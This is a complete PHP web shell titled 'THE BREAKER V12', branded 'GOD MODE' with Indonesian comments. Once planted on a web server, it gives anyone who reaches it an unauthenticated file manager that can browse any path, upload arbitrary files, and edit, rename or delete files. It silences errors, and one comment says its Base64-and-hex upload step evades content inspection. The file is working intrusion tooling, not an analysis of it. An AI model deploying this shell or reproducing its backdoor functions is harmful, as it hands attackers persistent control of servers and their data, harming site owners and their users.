<?php
/**
 * [ THE BREAKER V12 - BY Mr.Zeth ]
 * GOD MODE: HYPER-NAV & ANTI-0KB SHIELD
 * BABAYO EROR SYSTEM - ELITE REPOSITORY
 */

error_reporting(0);
@ini_set('display_errors', 0);
set_time_limit(0);
ini_set('memory_limit', '1024M');

echo "<html><head><title>GOD MODE :: Mr.Zeth</title></head>
<body bgcolor='black' style='color:white;font-family:Courier;'>
<center>
<h1><font color='red'>[ THE BREAKER V12 - GOD MODE ]</font></h1>
<h3 style='letter-spacing:5px;'>BABAYO EROR SYSTEM</h3><hr color='red'>";

// --- 1. HYPER-NAVIGATION SYSTEM ---
$path = isset($_GET['p']) ? $_GET['p'] : getcwd();
$path = str_replace('\\', '/', trim($path));
$paths = explode('/', $path);

echo "<b>LOCATION: </b>";
$current_build = "";
foreach($paths as $id => $p_name){
    if($p_name == '' && $id == 0){
        echo "<a href='?p=/' style='color:white;text-decoration:none;'>/</a>";
        $current_build = "/";
        continue;
    }
    if($p_name == '') continue;
    $current_build .= ($current_build == "/" ? "" : "/") . $p_name;
    echo "<a href='?p=$current_build' style='color:lime;text-decoration:none;'>$p_name</a> / ";
}
echo "<hr color='red'>";

// --- 2. GOD-LEVEL UPLOAD (ANTI 0KB) ---
if(isset($_POST['up_god'])){
    $name = $_FILES['f']['name'];
    $target = $path.'/'.$name;
    
    // Taktik: Base64 + Hex Stream (Menghindari Content Inspection)
    $data = base64_encode(file_get_contents($_FILES['f']['tmp_name']));
    $hex_stream = bin2hex($data);
    
    $fp = @fopen($target, 'wb');
    if($fp){
        // Jahit ulang data asli dari Hex -> Base64 -> Binary
        @fwrite($fp, base64_decode(hex2bin($hex_stream)));
        @fclose($fp);
        @chmod($target, 0644);
        
        if(filesize($target) > 0){
            echo "<font color='lime'>[+] GOD UPLOAD SUCCESS: $name</font><br>";
        } else {
            // Last Resort: Direct Copy
            @copy($_FILES['f']['tmp_name'], $target);
            echo "<font color='yellow'>[!] RE-ATTEMPTING WITH DIRECT COPY...</font><br>";
        }
    }
}

// --- 3. MANAGER ACTIONS ---
if(isset($_GET['del'])){ @unlink($path.'/'.$_GET['del']); }
if(isset($_POST['save_edit'])){ 
    $target = $path.'/'.$_POST['fn'];
    @file_put_contents($target, $_POST['cc']);
    echo "<font color='lime'>[+] SAVED.</font><br>";
}
if(isset($_GET['old']) && isset($_GET['new'])){ 
    @rename($path.'/'.$_GET['old'], $path.'/'.$_GET['new']);
    echo "<script>window.location='?p=$path';</script>";
}

// --- 4. UI UPLOADER ---
echo "<form method='post' enctype='multipart/form-data'>
      <input type='file' name='f' style='background:#111; color:white;'>
      <button type='submit' name='up_god' style='background:red; color:white; border:none; padding:5px 10px; cursor:pointer;'>GOD UPLOAD</button>
      </form><hr color='red'>";

// --- 5. FILE MANAGER (FULL CLICKABLE) ---
echo "<div style='text-align:left; background:#0a0a0a; padding:10px; border:1px solid #222;'>
<table width='100%' style='font-size:12.4px;'>
<tr bgcolor='#222' style='color:red;'>
    <th align='left'>NAME</th><th width='100px'>SIZE</th><th width='180px'>ACTION</th>
</tr>";

// Link Back [ .. ]
$parent = dirname($path);
echo "<tr><td><a href='?p=$parent' style='color:yellow; text-decoration:none;'>[ .. BACK ]</a></td><td>--</td><td>--</td></tr>";

$items = array_diff(scandir($path), array('.', '..'));

// LIST DIREKTORI DULU
foreach($items as $i){
    $full = $path.'/'.$i;
    if(is_dir($full)){
        echo "<tr style='border-bottom:1px solid #111;'>
                <td><font color='lime'>[DIR]</font> <a href='?p=$full' style='color:lime; font-weight:bold; text-decoration:none;'>$i/</a></td>
                <td align='center'>--</td>
                <td align='center'>
                    <a href='#' style='color:cyan; text-decoration:none;' onclick=\"var n=prompt('Rename Dir:','$i'); if(n) { window.location='?p=$path&old='+encodeURIComponent('$i')+'&new='+encodeURIComponent(n); }\">[REN]</a>
                </td>
              </tr>";
    }
}

// LIST FILE
foreach($items as $i){
    $full = $path.'/'.$i;
    if(is_file($full)){
        $sz = round(filesize($full)/1024, 2)." KB";
        echo "<tr style='border-bottom:1px solid #111;'>
                <td>$i</td>
                <td align='center'>$sz</td>
                <td align='center'>
                    <a href='?p=$path&edit=$i' style='color:yellow; text-decoration:none;'>[EDIT]</a> | 
                    <a href='#' style='color:cyan; text-decoration:none;' onclick=\"var n=prompt('New Name:','$i'); if(n) { window.location='?p=$path&old='+encodeURIComponent('$i')+'&new='+encodeURIComponent(n); }\">[REN]</a> | 
                    <a href='?p=$path&del=$i' style='color:red; text-decoration:none;' onclick=\"return confirm('Hapus file ini?')\">[DEL]</a>
                </td>
              </tr>";
    }
}
echo "</table></div>";

// --- EDIT MODE ---
if(isset($_GET['edit'])){
    $fedit = $path.'/'.$_GET['edit'];
    $cont = htmlspecialchars(@file_get_contents($fedit));
    echo "<br><div style='background:#111; padding:10px; border:1px solid red;'>
          Editing: <font color='yellow'>".$_GET['edit']."</font><br>
          <form method='post'>
          <textarea name='cc' style='width:100%; height:300px; background:#000; color:lime; border:1px solid #333;'>$cont</textarea><br>
          <input type='hidden' name='fn' value='".$_GET['edit']."'>
          <button type='submit' name='save_edit' style='background:red; color:white; border:none; padding:5px 15px;'>SAVE CHANGES</button>
          </form></div>";
}

echo "<br><h1><font color='blue' size='6'>© Mr.XycanKing</font></h1></center></body></html>";
?>